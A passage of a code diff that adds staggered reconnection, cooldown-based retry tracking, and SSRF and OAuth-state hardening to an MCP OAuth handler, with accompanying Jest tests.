setTimeout(resolve, 100)); + + expect(mockMCPManager.getUserConnection).toHaveBeenCalledWith( + expect.objectContaining({ serverName: 'server1' }), + ); + }); + it('should handle connection that returns but is not connected', async () => { const userId = 'user-123'; const oauthServers = new Set(['server1']); @@ -336,6 +421,132 @@ describe('OAuthReconnectionManager', () => { }); }); + describe('reconnectServer', () => { + let reconnectionTracker: OAuthReconnectionTracker; + beforeEach(async () => { + reconnectionTracker = new OAuthReconnectionTracker(); + reconnectionManager = await OAuthReconnectionManager.createInstance( + flowManager, + tokenMethods, + reconnectionTracker, + ); + }); + + it('should return true on successful reconnection', async () => { + const userId = 'user-123'; + const serverName = 'server1'; + + const mockConnection = { + isConnected: jest.fn().mockResolvedValue(true), + disconnect: jest.fn(), + }; + mockMCPManager.getUserConnection.mockResolvedValue( + mockConnection as unknown as MCPConnection, + ); + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue( + {} as unknown as MCPOptions, + ); + + const result = await reconnectionManager.reconnectServer(userId, serverName); + expect(result).toBe(true); + }); + + it('should return false on failed reconnection', async () => { + const userId = 'user-123'; + const serverName = 'server1'; + + mockMCPManager.getUserConnection.mockRejectedValue(new Error('Connection failed')); + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue( + {} as unknown as MCPOptions, + ); + + const result = await reconnectionManager.reconnectServer(userId, serverName); + expect(result).toBe(false); + }); + + it('should return false when MCPManager is not available', async () => { + const userId = 'user-123'; + const serverName = 'server1'; + + (OAuthReconnectionManager as unknown as { instance: null }).instance = null; + (MCPManager.getInstance as jest.Mock).mockImplementation(() => { + throw new Error('MCPManager has not been initialized.'); + }); + + const managerWithoutMCP = await OAuthReconnectionManager.createInstance( + flowManager, + tokenMethods, + reconnectionTracker, + ); + + const result = await managerWithoutMCP.reconnectServer(userId, serverName); + expect(result).toBe(false); + }); + }); + + describe('reconnection staggering', () => { + let reconnectionTracker: OAuthReconnectionTracker; + + beforeEach(async () => { + jest.useFakeTimers(); + reconnectionTracker = new OAuthReconnectionTracker(); + reconnectionManager = await OAuthReconnectionManager.createInstance( + flowManager, + tokenMethods, + reconnectionTracker, + ); + }); + + afterEach(() => { + jest.useRealTimers(); + }); + + it('should stagger reconnection attempts for multiple servers', async () => { + const userId = 'user-123'; + const oauthServers = new Set(['server1', 'server2', 'server3']); + (mockRegistryInstance.getOAuthServers as jest.Mock).mockResolvedValue(oauthServers); + + // All servers have valid tokens and are not connected + tokenMethods.findToken.mockImplementation(async ({ identifier }) => { + return { + userId, + identifier, + expiresAt: new Date(Date.now() + 3600000), + } as unknown as MCPOAuthTokens; + }); + + const mockNewConnection = { + isConnected: jest.fn().mockResolvedValue(true), + disconnect: jest.fn(), + }; + mockMCPManager.getUserConnection.mockResolvedValue( + mockNewConnection as unknown as MCPConnection, + ); + (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue( + {} as unknown as MCPOptions, + ); + + await reconnectionManager.reconnectServers(userId); + + // Only the first server should have been attempted immediately + expect(mockMCPManager.getUserConnection).toHaveBeenCalledTimes(1); + expect(mockMCPManager.getUserConnection).toHaveBeenCalledWith( + expect.objectContaining({ serverName: 'server1' }), + ); + + // After advancing all timers, all servers should have been attempted + await jest.runAllTimersAsync(); + + expect(mockMCPManager.getUserConnection).toHaveBeenCalledTimes(3); + expect(mockMCPManager.getUserConnection).toHaveBeenCalledWith( + expect.objectContaining({ serverName: 'server2' }), + ); + expect(mockMCPManager.getUserConnection).toHaveBeenCalledWith( + expect.objectContaining({ serverName: 'server3' }), + ); + }); + }); + describe('reconnection timeout behavior', () => { let reconnectionTracker: OAuthReconnectionTracker; diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts b/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts index 186f3652e3..7afe992772 100644 --- a/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts +++ b/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts @@ -7,6 +7,7 @@ import { MCPManager } from '~/mcp/MCPManager'; import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry'; const DEFAULT_CONNECTION_TIMEOUT_MS = 10_000; // ms +const RECONNECT_STAGGER_MS = 500; // ms between each server reconnection export class OAuthReconnectionManager { private static instance: OAuthReconnectionManager | null = null; @@ -84,9 +85,32 @@ export class OAuthReconnectionManager { this.reconnectionsTracker.setActive(userId, serverName); } - // 3. attempt to reconnect the servers - for (const serverName of serversToReconnect) { - void this.tryReconnect(userId, serverName); + // 3. attempt to reconnect the servers with staggered delays to avoid connection storms + for (let i = 0; i < serversToReconnect.length; i++) { + const serverName = serversToReconnect[i]; + if (i === 0) { + void this.tryReconnect(userId, serverName); + } else { + setTimeout(() => void this.tryReconnect(userId, serverName), i * RECONNECT_STAGGER_MS); + } + } + } + + /** + * Attempts to reconnect a single OAuth MCP server. + * @returns true if reconnection succeeded, false otherwise. + */ + public async reconnectServer(userId: string, serverName: string): Promise { + if (this.mcpManager == null) { + return false; + } + + this.reconnectionsTracker.setActive(userId, serverName); + try { + await this.tryReconnect(userId, serverName); + return !this.reconnectionsTracker.isFailed(userId, serverName); + } catch { + return false; } } @@ -141,6 +165,10 @@ export class OAuthReconnectionManager { } } + public getTrackerStats() { + return this.reconnectionsTracker.getStats(); + } + private async canReconnect(userId: string, serverName: string) { if (this.mcpManager == null) { return false; @@ -164,23 +192,31 @@ export class OAuthReconnectionManager { } } - // if the server has no tokens for the user, don't attempt to reconnect + // if the server has a valid (non-expired) access token, allow reconnect const accessToken = await this.tokenMethods.findToken({ userId, type: 'mcp_oauth', identifier: `mcp:${serverName}`, }); - if (accessToken == null) { + + if (accessToken != null) { + const now = new Date(); + if (!accessToken.expiresAt || accessToken.expiresAt >= now) { + return true; + } + } + + // if the access token is expired or TTL-deleted, fall back to refresh token + const refreshToken = await this.tokenMethods.findToken({ + userId, + type: 'mcp_oauth', + identifier: `mcp:${serverName}:refresh`, + }); + + if (refreshToken == null) { return false; } - // if the token has expired, don't attempt to reconnect - const now = new Date(); - if (accessToken.expiresAt && accessToken.expiresAt < now) { - return false; - } - - // …otherwise, we're good to go with the reconnect attempt return true; } } diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts index 68ac1d027e..206fe96ef1 100644 --- a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts +++ b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts @@ -397,6 +397,101 @@ describe('OAuthReconnectTracker', () => { }); }); + describe('cooldown-based retry', () => { + beforeEach(() => { + jest.useFakeTimers(); + }); + + afterEach(() => { + jest.useRealTimers(); + }); + + it('should return true from isFailed within first cooldown period (5 min)', () => { + const now = Date.now(); + jest.setSystemTime(now); + + tracker.setFailed(userId, serverName); + expect(tracker.isFailed(userId, serverName)).toBe(true); + + jest.advanceTimersByTime(4 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(true); + }); + + it('should return false from isFailed after first cooldown elapses (5 min)', () => { + const now = Date.now(); + jest.setSystemTime(now); + + tracker.setFailed(userId, serverName); + expect(tracker.isFailed(userId, serverName)).toBe(true); + + jest.advanceTimersByTime(5 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(false); + }); + + it('should use progressive cooldown schedule (5m, 10m, 20m, 30m)', () => { + const now = Date.now(); + jest.setSystemTime(now); + + // First failure: 5 min cooldown + tracker.setFailed(userId, serverName); + jest.advanceTimersByTime(5 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(false); + + // Second failure: 10 min cooldown + tracker.setFailed(userId, serverName); + jest.advanceTimersByTime(9 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(true); + jest.advanceTimersByTime(1 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(false); + + // Third failure: 20 min cooldown + tracker.setFailed(userId, serverName); + jest.advanceTimersByTime(19 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(true); + jest.advanceTimersByTime(1 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(false); + + // Fourth failure: 30 min cooldown + tracker.setFailed(userId, serverName); + jest.advanceTimersByTime(29 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(true); + jest.advanceTimersByTime(1 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(false); + }); + + it('should cap cooldown at 30 min for attempts beyond 4', () => { + const now = Date.now(); + jest.setSystemTime(now); + + for (let i = 0; i < 5; i++) { + tracker.setFailed(userId, serverName); + jest.advanceTimersByTime(30 * 60 * 1000); + } + + tracker.setFailed(userId, serverName); + jest.advanceTimersByTime(29 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(true); + jest.advanceTimersByTime(1 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(false); + }); + + it('should fully reset metadata on removeFailed', () => { + const now = Date.now(); + jest.setSystemTime(now); + + tracker.setFailed(userId, serverName); + tracker.setFailed(userId, serverName); + tracker.setFailed(userId, serverName); + + tracker.removeFailed(userId, serverName); + expect(tracker.isFailed(userId, serverName)).toBe(false); + + tracker.setFailed(userId, serverName); + jest.advanceTimersByTime(5 * 60 * 1000); + expect(tracker.isFailed(userId, serverName)).toBe(false); + }); + }); + describe('timestamp tracking edge cases', () => { beforeEach(() => { jest.useFakeTimers(); diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts index b65f8ad115..504ea7d43a 100644 --- a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts +++ b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts @@ -1,6 +1,12 @@ +interface FailedMeta { + attempts: number; + lastFailedAt: number; +} + +const COOLDOWN_SCHEDULE_MS = [5 * 60 * 1000, 10 * 60 * 1000, 20 * 60 * 1000, 30 * 60 * 1000]; + export class OAuthReconnectionTracker { - /** Map of userId -> Set of serverNames that have failed reconnection */ - private failed: Map> = new Map(); + private failedMeta: Map> = new Map(); /** Map of userId -> Set of serverNames that are actively reconnecting */ private active: Map> = new Map(); /** Map of userId:serverName -> timestamp when reconnection started */ @@ -9,7 +15,17 @@ export class OAuthReconnectionTracker { private readonly RECONNECTION_TIMEOUT_MS = 3 * 60 * 1000; // 3 minutes public isFailed(userId: string, serverName: string): boolean { - return this.failed.get(userId)?.has(serverName) ?? false; + const meta = this.failedMeta.get(userId)?.get(serverName); + if (!meta) { + return false; + } + const idx = Math.min(meta.attempts - 1, COOLDOWN_SCHEDULE_MS.length - 1); + const cooldown = COOLDOWN_SCHEDULE_MS[idx]; + const elapsed = Date.now() - meta.lastFailedAt; + if (elapsed >= cooldown) { + return false; + } + return true; } /** Check if server is in the active set (original simple check) */ @@ -48,11 +64,15 @@ export class OAuthReconnectionTracker { } public setFailed(userId: string, serverName: string): void { - if (!this.failed.has(userId)) { - this.failed.set(userId, new Set()); + if (!this.failedMeta.has(userId)) { + this.failedMeta.set(userId, new Map()); } - - this.failed.get(userId)?.add(serverName); + const userMap = this.failedMeta.get(userId)!; + const existing = userMap.get(serverName); + userMap.set(serverName, { + attempts: (existing?.attempts ?? 0) + 1, + lastFailedAt: Date.now(), + }); } public setActive(userId: string, serverName: string): void { @@ -68,10 +88,10 @@ export class OAuthReconnectionTracker { } public removeFailed(userId: string, serverName: string): void { - const userServers = this.failed.get(userId); - userServers?.delete(serverName); - if (userServers?.size === 0) { - this.failed.delete(userId); + const userMap = this.failedMeta.get(userId); + userMap?.delete(serverName); + if (userMap?.size === 0) { + this.failedMeta.delete(userId); } } @@ -86,4 +106,17 @@ export class OAuthReconnectionTracker { const key = `${userId}:${serverName}`; this.activeTimestamps.delete(key); } + + /** Returns map sizes for diagnostics */ + public getStats(): { + usersWithFailedServers: number; + usersWithActiveReconnections: number; + activeTimestamps: number; + } { + return { + usersWithFailedServers: this.failedMeta.size, + usersWithActiveReconnections: this.active.size, + activeTimestamps: this.activeTimestamps.size, + }; + } } diff --git a/packages/api/src/mcp/oauth/handler.ts b/packages/api/src/mcp/oauth/handler.ts index c07918c591..8d863bfe79 100644 --- a/packages/api/src/mcp/oauth/handler.ts +++ b/packages/api/src/mcp/oauth/handler.ts @@ -18,6 +18,13 @@ import type { MCPOAuthTokens, OAuthMetadata, } from './types'; +import { + resolveTokenEndpointAuthMethod, + getForcedTokenEndpointAuthMethod, + selectRegistrationAuthMethod, + inferClientAuthMethod, +} from './methods'; +import { isSSRFTarget, resolveHostnameSSRF } from '~/auth'; import { sanitizeUrlForLogging } from '~/mcp/utils'; /** Type for the OAuth metadata from the SDK */ @@ -27,39 +34,6 @@ export class MCPOAuthHandler { private static readonly FLOW_TYPE = 'mcp_oauth'; private static readonly FLOW_TTL = 10 * 60 * 1000; // 10 minutes - private static getForcedTokenEndpointAuthMethod( - tokenExchangeMethod?: TokenExchangeMethodEnum, - ): 'client_secret_basic' | 'client_secret_post' | undefined { - if (tokenExchangeMethod === TokenExchangeMethodEnum.DefaultPost) { - return 'client_secret_post'; - } - if (tokenExchangeMethod === TokenExchangeMethodEnum.BasicAuthHeader) { - return 'client_secret_basic'; - } - return undefined; - } - - private static resolveTokenEndpointAuthMethod(options: { - tokenExchangeMethod?: TokenExchangeMethodEnum; - tokenAuthMethods: string[]; - preferredMethod?: string; - }): 'client_secret_basic' | 'client_secret_post' | undefined { - const forcedMethod = this.getForcedTokenEndpointAuthMethod(options.tokenExchangeMethod); - const preferredMethod = forcedMethod ?? options.preferredMethod; - - if (preferredMethod === 'client_secret_basic' || preferredMethod === 'client_secret_post') { - return preferredMethod; - } - - if (options.tokenAuthMethods.includes('client_secret_basic')) { - return 'client_secret_basic'; - } - if (options.tokenAuthMethods.includes('client_secret_post')) { - return 'client_secret_post'; - } - return undefined; - } - /** * Creates a fetch function with custom headers injected */ @@ -95,19 +69,14 @@ export class MCPOAuthHandler { newHeaders.set('Content-Type', 'application/x-www-form-urlencoded'); if (clientInfo?.client_id) { - let authMethod = clientInfo.token_endpoint_auth_method; - - if (!authMethod) { - if (newHeaders.has('Authorization')) { - authMethod = 'client_secret_basic'; - } else if (params.has('client_id') || params.has('client_secret')) { - authMethod = 'client_secret_post'; - } else if (clientInfo.client_secret) { - authMethod = 'client_secret_post'; - } else { - authMethod = 'none'; - } - } + const authMethod = + clientInfo.token_endpoint_auth_method ?? + inferClientAuthMethod( + newHeaders.has('Authorization'), + params.has('client_id'), + params.has('client_secret'), + !!clientInfo.client_secret, + ); if (!clientInfo.client_secret || authMethod === 'none') { newHeaders.delete('Authorization'); @@ -123,6 +92,9 @@ export class MCPOAuthHandler { params.set('client_secret', clientInfo.client_secret); } } else if (authMethod === 'client_secret_basic') { + /** RFC 6749 §2.3.1: credentials MUST NOT appear in both the header and the body. The SDK defaults to body params, so remove them before setting the Basic header. */ + params.delete('client_id'); + params.delete('client_secret'); if (!newHeaders.has('Authorization')) { const clientAuth = Buffer.from( `${clientInfo.client_id}:${clientInfo.client_secret}`, @@ -173,7 +145,9 @@ export class MCPOAuthHandler { resourceMetadata = await discoverOAuthProtectedResourceMetadata(serverUrl, {}, fetchFn); if (resourceMetadata?.authorization_servers?.length) { - authServerUrl = new URL(resourceMetadata.authorization_servers[0]); + const discoveredAuthServer = resourceMetadata.authorization_servers[0]; + await this.validateOAuthUrl(discoveredAuthServer, 'authorization_server'); + authServerUrl = new URL(discoveredAuthServer); logger.debug( `[MCPOAuth] Found authorization server from resource metadata: ${authServerUrl}`, ); @@ -190,20 +164,7 @@ export class MCPOAuthHandler { logger.debug( `[MCPOAuth] Discovering OAuth metadata from ${sanitizeUrlForLogging(authServerUrl)}`, ); - let rawMetadata = await discoverAuthorizationServerMetadata(authServerUrl, { - fetchFn, - }); - - // If discovery failed and we're using a path-based URL, try the base URL - if (!rawMetadata && authServerUrl.pathname !== '/') { - const baseUrl = new URL(authServerUrl.origin); - logger.debug( - `[MCPOAuth] Discovery failed with path, trying base URL: ${sanitizeUrlForLogging(baseUrl)}`, - ); - rawMetadata = await discoverAuthorizationServerMetadata(baseUrl, { - fetchFn, - }); - } + const rawMetadata = await this.discoverWithOriginFallback(authServerUrl, fetchFn); if (!rawMetadata) { /** @@ -242,6 +203,19 @@ export class MCPOAuthHandler { logger.debug(`[MCPOAuth] OAuth metadata discovered successfully`); const metadata = await OAuthMetadataSchema.parseAsync(rawMetadata); + const endpointChecks: Promise[] = []; + if (metadata.registration_endpoint) { + endpointChecks.push( + this.validateOAuthUrl(metadata.registration_endpoint, 'registration_endpoint'), + ); + } + if (metadata.token_endpoint) { + endpointChecks.push(this.validateOAuthUrl(metadata.token_endpoint, 'token_endpoint')); + } + if (endpointChecks.length > 0) { + await Promise.all(endpointChecks); + } + logger.debug(`[MCPOAuth] OAuth metadata parsed successfully`); return { metadata: metadata as unknown as OAuthMetadata, @@ -250,6 +224,39 @@ export class MCPOAuthHandler { }; } + /** + * Discovers OAuth authorization server metadata, retrying with just the origin + * when discovery fails for a path-based URL. Shared implementation used by + * `discoverMetadata` and both `refreshOAuthTokens` branches. + */ + private static async discoverWithOriginFallback( + serverUrl: URL, + fetchFn: FetchLike, + ): ReturnType { + let metadata: Awaited>; + try { + metadata = await discoverAuthorizationServerMetadata(serverUrl, { fetchFn }); + } catch (err) { + if (serverUrl.pathname === '/') { + throw err; + } + const baseUrl = new URL(serverUrl.origin); + logger.debug( + `[MCPOAuth] Discovery threw for path URL, trying base URL: ${sanitizeUrlForLogging(baseUrl)}`, + { error: err }, + ); + return discoverAuthorizationServerMetadata(baseUrl, { fetchFn }); + } + if (!metadata && serverUrl.pathname !== '/') { + const baseUrl = new URL(serverUrl.origin); + logger.debug( + `[MCPOAuth] Discovery failed with path, trying base URL: ${sanitizeUrlForLogging(baseUrl)}`, + ); + return discoverAuthorizationServerMetadata(baseUrl, { fetchFn }); + } + return metadata; + } + /** * Registers an OAuth client dynamically */ @@ -300,22 +307,12 @@ export class MCPOAuthHandler { clientMetadata.response_types = metadata.response_types_supported || ['code']; - const forcedAuthMethod = this.getForcedTokenEndpointAuthMethod(tokenExchangeMethod); - - if (forcedAuthMethod) { - clientMetadata.token_endpoint_auth_method = forcedAuthMethod; - } else if (metadata.token_endpoint_auth_methods_supported) { - // Prefer client_secret_basic if supported, otherwise use the first supported method - if (metadata.token_endpoint_auth_methods_supported.includes('client_secret_basic')) { - clientMetadata.token_endpoint_auth_method = 'client_secret_basic'; - } else if (metadata.token_endpoint_auth_methods_supported.includes('client_secret_post')) { - clientMetadata.token_endpoint_auth_method = 'client_secret_post'; - } else if (metadata.token_endpoint_auth_methods_supported.includes('none')) { - clientMetadata.token_endpoint_auth_method = 'none'; - } else { - clientMetadata.token_endpoint_auth_method = - metadata.token_endpoint_auth_methods_supported[0]; - } + const selectedAuthMethod = selectRegistrationAuthMethod( + metadata.token_endpoint_auth_methods_supported, + tokenExchangeMethod, + ); + if (selectedAuthMethod) { + clientMetadata.token_endpoint_auth_method = selectedAuthMethod; } const availableScopes = resourceMetadata?.scopes_supported || metadata.scopes_supported; @@ -334,6 +331,7 @@ export class MCPOAuthHandler { fetchFn: this.createOAuthFetch(oauthHeaders), }); + const forcedAuthMethod = getForcedTokenEndpointAuthMethod(tokenExchangeMethod); if (forcedAuthMethod) { clientInfo.token_endpoint_auth_method = forcedAuthMethod; } else if (!clientInfo.token_endpoint_auth_method) { @@ -373,10 +371,14 @@ export class MCPOAuthHandler { logger.debug(`[MCPOAuth] Generated flowId: ${flowId}, state: ${state}`); try { - // Check if we have pre-configured OAuth settings if (config?.authorization_url && config?.token_url && config?.client_id) { logger.debug(`[MCPOAuth] Using pre-configured OAuth settings for ${serverName}`); + await Promise.all([ + this.validateOAuthUrl(config.authorization_url, 'authorization_url'), + this.validateOAuthUrl(config.token_url, 'token_url'), + ]); + const skipCodeChallengeCheck = config?.skip_code_challenge_check === true || process.env.MCP_SKIP_CODE_CHALLENGE_CHECK === 'true'; @@ -401,8 +403,7 @@ export class MCPOAuthHandler { // When token_exchange_method is undefined or not DefaultPost, default to using // client_secret_basic (Basic Auth header) for token endpoint authentication. tokenEndpointAuthMethod = - this.getForcedTokenEndpointAuthMethod(config.token_exchange_method) ?? - 'client_secret_basic'; + getForcedTokenEndpointAuthMethod(config.token_exchange_method) ?? 'client_secret_basic'; } let defaultTokenAuthMethods: string[]; @@ -429,10 +430,11 @@ export class MCPOAuthHandler { code_challenge_methods_supported: codeChallengeMethodsSupported, }; logger.debug(`[MCPOAuth] metadata for "${serverName}": ${JSON.stringify(metadata)}`); + const redirectUri = this.getDefaultRedirectUri(serverName); const clientInfo: OAuthClientInformation = { client_id: config.client_id, client_secret: config.client_secret, - redirect_uris: [config.redirect_uri || this.getDefaultRedirectUri(serverName)], + redirect_uris: [redirectUri], scope: config.scope, token_endpoint_auth_method: tokenEndpointAuthMethod, }; @@ -441,12 +443,12 @@ export class MCPOAuthHandler { const { authorizationUrl, codeVerifier } = await startAuthorization(serverUrl, { metadata: metadata as unknown as SDKOAuthMetadata, clientInformation: clientInfo, - redirectUrl: clientInfo.redirect_uris?.[0] || this.getDefaultRedirectUri(serverName), + redirectUrl: redirectUri, scope: config.scope, }); - /** Add state parameter with flowId to the authorization URL */ - authorizationUrl.searchParams.set('state', flowId); + /** Add cryptographic state parameter to the authorization URL */ + authorizationUrl.searchParams.set('state', state); logger.debug(`[MCPOAuth] Added state parameter to authorization URL`); const flowMetadata: MCPOAuthFlowMetadata = { @@ -481,8 +483,7 @@ export class MCPOAuthHandler { `[MCPOAuth] OAuth metadata discovered, auth server URL: ${sanitizeUrlForLogging(authServerUrl)}`, ); - /** Dynamic client registration based on the discovered metadata */ - const redirectUri = config?.redirect_uri || this.getDefaultRedirectUri(serverName); + const redirectUri = this.getDefaultRedirectUri(serverName); logger.debug(`[MCPOAuth] Registering OAuth client with redirect URI: ${redirectUri}`); const clientInfo = await this.registerOAuthClient( @@ -524,15 +525,25 @@ export class MCPOAuthHandler { `[MCPOAuth] Authorization URL: ${sanitizeUrlForLogging(authorizationUrl.toString())}`, ); - /** Add state parameter with flowId to the authorization URL */ - authorizationUrl.searchParams.set('state', flowId); + /** Add cryptographic state parameter to the authorization URL */ + authorizationUrl.searchParams.set('state', state); logger.debug(`[MCPOAuth] Added state parameter to authorization URL`); if (resourceMetadata?.resource != null && resourceMetadata.resource) { - authorizationUrl.searchParams.set('resource', resourceMetadata.resource); - logger.debug( - `[MCPOAuth] Added resource parameter to authorization URL: ${resourceMetadata.resource}`, - ); + try { + const canonicalResource = new URL(resourceMetadata.resource).href; + authorizationUrl.searchParams.set('resource', canonicalResource); + logger.debug( + `[MCPOAuth] Added resource parameter to authorization URL: ${canonicalResource}`, + ); + } catch (error) { + authorizationUrl.searchParams.set('resource', resourceMetadata.resource); + logger.error( + `[MCPOAuth] Invalid resource URL from metadata for ${serverName}: ` + + `'${resourceMetadata.resource}'. Using raw value as fallback.`, + error, + ); + } } else { logger.warn( `[MCPOAuth] Resource metadata missing 'resource' property for ${serverName}. ` + @@ -681,6 +692,62 @@ export class MCPOAuthHandler { return randomBytes(32).toString('base64url'); } + /** Validates an OAuth URL is not targeting a private/internal address */ + private static async validateOAuthUrl(url: string, fieldName: string): Promise { + let hostname: string; + try { + hostname = new URL(url).hostname; + } catch { + throw new Error(`Invalid OAuth ${fieldName}: ${sanitizeUrlForLogging(url)}`); + } + + if (isSSRFTarget(hostname)) { + throw new Error(`OAuth ${fieldName} targets a blocked address`); + } + + if (await resolveHostnameSSRF(hostname)) { + throw new Error(`OAuth ${fieldName} resolves to a private IP address`); + } + } + + private static readonly STATE_MAP_TYPE = 'mcp_oauth_state'; + + /** + * Stores a mapping from the opaque OAuth state parameter to the flowId. + * This allows the callback to resolve the flowId from an unguessable state + * value, preventing attackers from forging callback requests. + */ + static async storeStateMapping( + state: string, + flowId: string, + flowManager: FlowStateManager, + ): Promise { + await flowManager.initFlow(state, this.STATE_MAP_TYPE, { flowId }); + } + + /** + * Resolves an opaque OAuth state parameter back to the original flowId. + * Returns null if the state is not found (expired or never stored). + */ + static async resolveStateToFlowId( + state: string, + flowManager: FlowStateManager, + ): Promise { + const mapping = await flowManager.getFlowState(state, this.STATE_MAP_TYPE); + return (mapping?.metadata?.flowId as string) ?? null; + } + + /** + * Deletes an orphaned state mapping when a flow is replaced. + * Prevents old authorization URLs from resolving after a flow restart. + */ + static async deleteStateMapping( + state: string, + flowManager: FlowStateManager, + ): Promise { + await flowManager.deleteFlow(state, this.STATE_MAP_TYPE); + } + /** * Gets the default redirect URI for a server */ @@ -754,19 +821,20 @@ export class MCPOAuthHandler { scope: metadata.clientInfo.scope, }); - /** Use the stored client information and metadata to determine the token URL */ let tokenUrl: string; let authMethods: string[] | undefined; if (config?.token_url) { + await this.validateOAuthUrl(config.token_url, 'token_url'); tokenUrl = config.token_url; authMethods = config.token_endpoint_auth_methods_supported; } else if (!metadata.serverUrl) { throw new Error('No token URL available for refresh'); } else { /** Auto-discover OAuth configuration for refresh */ - const oauthMetadata = await discoverAuthorizationServerMetadata(metadata.serverUrl, { - fetchFn: this.createOAuthFetch(oauthHeaders), - }); + const serverUrl = new URL(metadata.serverUrl); + const fetchFn = this.createOAuthFetch(oauthHeaders); + const oauthMetadata = await this.discoverWithOriginFallback(serverUrl, fetchFn); + if (!oauthMetadata) { /** * No metadata discovered - use fallback /token endpoint. @@ -783,6 +851,7 @@ export class MCPOAuthHandler { tokenUrl = oauthMetadata.token_endpoint; authMethods = oauthMetadata.token_endpoint_auth_methods_supported; } + await this.validateOAuthUrl(tokenUrl, 'token_url'); } const body = new URLSearchParams({ @@ -805,26 +874,23 @@ export class MCPOAuthHandler { if (metadata.clientInfo.client_secret) { /** Default to client_secret_basic if no methods specified (per RFC 8414) */ const tokenAuthMethods = authMethods ?? ['client_secret_basic']; - const authMethod = this.resolveTokenEndpointAuthMethod({ + const authMethod = resolveTokenEndpointAuthMethod({ tokenExchangeMethod: config?.token_exchange_method, tokenAuthMethods, preferredMethod: metadata.clientInfo.token_endpoint_auth_method, }); if (authMethod === 'client_secret_basic') { - /** Use Basic auth */ logger.debug('[MCPOAuth] Using client_secret_basic authentication method'); const clientAuth = Buffer.from( `${metadata.clientInfo.client_id}:${metadata.clientInfo.client_secret}`, ).toString('base64'); headers['Authorization'] = `Basic ${clientAuth}`; } else if (authMethod === 'client_secret_post') { - /** Use client_secret_post */ logger.debug('[MCPOAuth] Using client_secret_post authentication method'); body.append('client_id', metadata.clientInfo.client_id); body.append('client_secret', metadata.clientInfo.client_secret); } else { - /** No recognized method, default to Basic auth per RFC */ logger.debug('[MCPOAuth] No recognized auth method, defaulting to client_secret_basic'); const clientAuth = Buffer.from( `${metadata.clientInfo.client_id}:${metadata.clientInfo.client_secret}`, @@ -859,10 +925,10 @@ export class MCPOAuthHandler { return this.processRefreshResponse(tokens, metadata.serverName, 'stored client info'); } - // Fallback: If we have pre-configured OAuth settings, use them if (config?.token_url && config?.client_id) { logger.debug(`[MCPOAuth] Using pre-configured OAuth settings for token refresh`); + await this.validateOAuthUrl(config.token_url, 'token_url'); const tokenUrl = new URL(config.token_url); const body = new URLSearchParams({ @@ -886,13 +952,12 @@ export class MCPOAuthHandler { const tokenAuthMethods = config.token_endpoint_auth_methods_supported ?? [ 'client_secret_basic', ]; - const authMethod = this.resolveTokenEndpointAuthMethod({ + const authMethod = resolveTokenEndpointAuthMethod({ tokenExchangeMethod: config.token_exchange_method, tokenAuthMethods, }); if (authMethod === 'client_secret_basic') { - /** Use Basic auth */ logger.debug( '[MCPOAuth] Using client_secret_basic authentication method (pre-configured)', ); @@ -901,14 +966,12 @@ export class MCPOAuthHandler { ); headers['Authorization'] = `Basic ${clientAuth}`; } else if (authMethod === 'client_secret_post') { - /** Use client_secret_post */ logger.debug( '[MCPOAuth] Using client_secret_post authentication method (pre-configured)', ); body.append('client_id', config.client_id); body.append('client_secret', config.client_secret); } else { - /** No recognized method, default to Basic auth per RFC */ logger.debug( '[MCPOAuth] No recognized auth method, defaulting to client_secret_basic (pre-configured)', ); @@ -946,9 +1009,9 @@ export class MCPOAuthHandler { } /** Auto-discover OAuth configuration for refresh */ - const oauthMetadata = await discoverAuthorizationServerMetadata(metadata.serverUrl, { - fetchFn: this.createOAuthFetch(oauthHeaders), - }); + const serverUrl = new URL(metadata.serverUrl); + const fetchFn = this.createOAuthFetch(oauthHeaders); + const oauthMetadata = await this.discoverWithOriginFallback(serverUrl, fetchFn); let tokenUrl: URL; if (!oauthMetadata?.token_endpoint) { @@ -963,6 +1026,7 @@ export class MCPOAuthHandler { } else { tokenUrl = new URL(oauthMetadata.token_endpoint); } + await this.validateOAuthUrl(tokenUrl.href, 'token_url'); const body = new URLSearchParams({ grant_type: 'refresh_token', @@ -1012,38 +1076,31 @@ export class MCPOAuthHandler { }, oauthHeaders: Record = {}, ): Promise { - // build the revoke URL, falling back to the server URL + /revoke if no revocation endpoint is provided + if (metadata.revocationEndpoint != null) { + await this.validateOAuthUrl(metadata.revocationEndpoint, 'revocation_endpoint'); + } const revokeUrl: URL = metadata.revocationEndpoint != null ? new URL(metadata.revocationEndpoint) : new URL('/revoke', metadata.serverUrl); - // detect auth method to use - const authMethods = metadata.revocationEndpointAuthMethodsSupported ?? [ - 'client_secret_basic', // RFC 8414 (https://datatracker.ietf.org/doc/html/rfc8414) - ]; - const usesBasicAuth = authMethods.includes('client_secret_basic'); - const usesClientSecretPost = authMethods.includes('client_secret_post'); + const authMethods = metadata.revocationEndpointAuthMethodsSupported ?? ['client_secret_basic']; + const authMethod = resolveTokenEndpointAuthMethod({ tokenAuthMethods: authMethods }); - // init the request headers const headers: Record = { 'Content-Type': 